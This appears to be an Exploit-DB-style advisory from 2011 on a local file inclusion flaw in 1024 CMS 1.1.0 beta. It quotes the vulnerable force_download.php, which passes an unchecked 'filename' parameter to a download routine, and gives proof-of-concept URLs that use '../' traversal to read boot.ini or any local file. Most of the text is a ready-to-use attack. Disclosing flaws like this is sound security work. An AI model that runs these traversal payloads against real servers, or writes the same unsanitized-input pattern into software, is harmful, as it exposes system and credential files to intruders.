 
# Exploit Title: [1024 CMS Version 1.1.0 beta(/complete-modules/modules/forcedownload/force_download.php) Local File Inclusion Vulnerability]
# Date: [2011/10/19]
# Author: [Sangyun YOO][I2SEC]
# Email: yoosy0302 at naver dot com
# Software Link: [http://1024cms.org/]
# Version: [1024 CMS Version 1.1.0 beta]
# Tested on: [Windows 7 Starter K]
 
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source of force_download.php:
1: <?php
2 include(dirname(__FILE__)."/cls_forcedl.php");
3: $filename = $_GET['filename']; <----------------- LFI
4: $forcedl = new forcedownload();
5: $forcedl->dlfile($filename);
6: exit();
6: ?>
 
---------------------------------------
 
proof of concept:
http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../boot.ini
 
http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../[localfile]